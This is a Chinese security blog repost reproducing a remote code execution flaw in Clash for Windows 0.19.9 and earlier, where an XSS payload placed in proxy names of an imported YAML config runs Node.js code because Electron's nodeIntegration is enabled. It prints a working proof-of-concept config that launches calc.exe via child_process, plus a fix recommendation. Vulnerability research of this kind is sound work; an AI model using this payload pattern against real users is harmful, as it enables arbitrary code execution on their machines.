Clash for Windows远程代码执行漏洞复现

admin 2025年6月16日00:46:33评论12 views字数 938阅读3分7秒阅读模式

漏洞描述:

clash_for_windows_pkgElectron提供动力。如果XSS有效负载以代理的名义,我们可以在受害者的计算机上远程执行任何JavaScript代码。

漏洞原理:

clash使用了Electron框架,且nodeIntegration值为True,说明开启了Node.js扩展,于是我们可以调用node.js模块从XSS到RCE,只要不进行严格的过滤,就会造成rce。

影响版本:

Windows v0.19.9版本及以下

MAC OS版本未知

漏洞复现:

下载受影响的windows版本

https://github.com/Fndroid/clash_for_windows_pkg/releases

Clash for Windows远程代码执行漏洞复现

win7虚拟机中打开

Clash for Windows远程代码执行漏洞复现

POC如下

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: true  - name: abc    type: socks5    server: 127.0.0.1    port: "8088"    skip-cert-verify: trueproxy-groups:  -    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>    type: select    proxies:- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

导入POC

Clash for Windows远程代码执行漏洞复现

在当前界面点击Proxies

Clash for Windows远程代码执行漏洞复现

此时弹出计算器,漏洞利用成功。

Clash for Windows远程代码执行漏洞复现

修复建议:

谨慎开启nodeIntegration参数,如果开启一定要对用户可控输入点做好充分的过滤。

原文始发于微信公众号(赛瑞攻防实验室):Clash for Windows远程代码执行漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月16日00:46:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Clash for Windows远程代码执行漏洞复现https://cn-sec.com/archives/886953.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息